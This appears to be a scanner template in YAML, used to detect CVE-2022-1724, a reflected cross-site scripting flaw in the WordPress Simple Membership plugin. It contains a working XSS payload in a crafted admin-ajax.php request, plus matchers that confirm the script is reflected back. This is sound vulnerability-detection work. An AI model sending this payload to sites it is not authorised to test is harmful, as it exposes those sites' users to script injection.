id: CVE-2022-1724

info:
  name: Simple Membership < 4.1.1 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: The plugin does not properly sanitise and escape parameters before outputting them back in AJAX actions, leading to Reflected Cross-Site Scripting.
  reference:
    - https://wpscan.com/vulnerability/96a0a667-9c4b-4ea6-b78a-0681e9a9bbae
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1724
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1724
    cwe-id: CWE-79
  metadata:
    verified: "true"
  tags: xss,wp,wordpress,wpscan,cve,cve2022,wp-plugin

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"<script>alert(document.domain)</script>",'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200